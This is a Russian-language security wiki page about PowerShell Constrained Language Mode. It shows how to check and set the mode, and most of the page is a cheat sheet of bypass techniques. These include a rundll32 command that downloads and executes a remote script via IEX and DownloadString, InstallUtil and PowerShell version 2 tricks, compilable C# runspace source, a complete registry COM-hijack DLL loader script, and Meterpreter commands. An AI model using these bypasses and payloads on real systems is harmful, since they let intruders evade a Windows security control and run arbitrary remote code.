Clm

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.

Общее

Определить включен ли CLM

PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Поменять режим(права админа)

PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Или выставить/удалить системную переменную окружения "__PSLockdownPolicy" (значение "4" если включено).

Обход защиты

rundll32.exe

https://github.com/iomoath/PowerShx


https://github.com/ropbear/CLMBypass

rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');
rundll32 PowerShx.dll,main -i
PowerShx.exe -i

InstallUtil.exe

https://github.com/calebstewart/bypass-clm


dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\tmp\bypass-clm.exe"

powershell version 2

powershell -version 2

Custom PowerShell Runspace

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace CLMBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            String cmd = args[0];
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

Скомпилировать как

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:"System.Management.Automation.dll" CLMBypass.cs


Использовать

.\CLMBypss.exe "COMMAND"

dll loader - создание своего object type

Поместить DLL на сервер и запустить следующий код:

$dllPath = "C:\test.dll"
$uuid = "{72C24DD5-D70A-438B-8A42-98424B88D3AD}"

New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null

$matches = whoami /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
$sid = $matches.value

$key = 'HKU:\{0}_classes' -f $sid

# Добавление InProcServer
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid
New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid
New-ItemProperty -Path $key -Name "(Default)" -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null

# Добавляем коротное название
$key = 'HKU:\{0}_classes' -f $sid
New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn' -f $sid
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid
New-ItemProperty -Path $key -Name "(Default)" -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null

# Запуск
New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null

Можно написать DLL, который будет отключать CLM.


Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/

MSF Meterpreter

Meterpreter в метасплоите отключает защиту CLM.

Для этого нужно создать соединение, перейти в него и ввести следующие команды:

load powershell
powershell_shell

Ссылки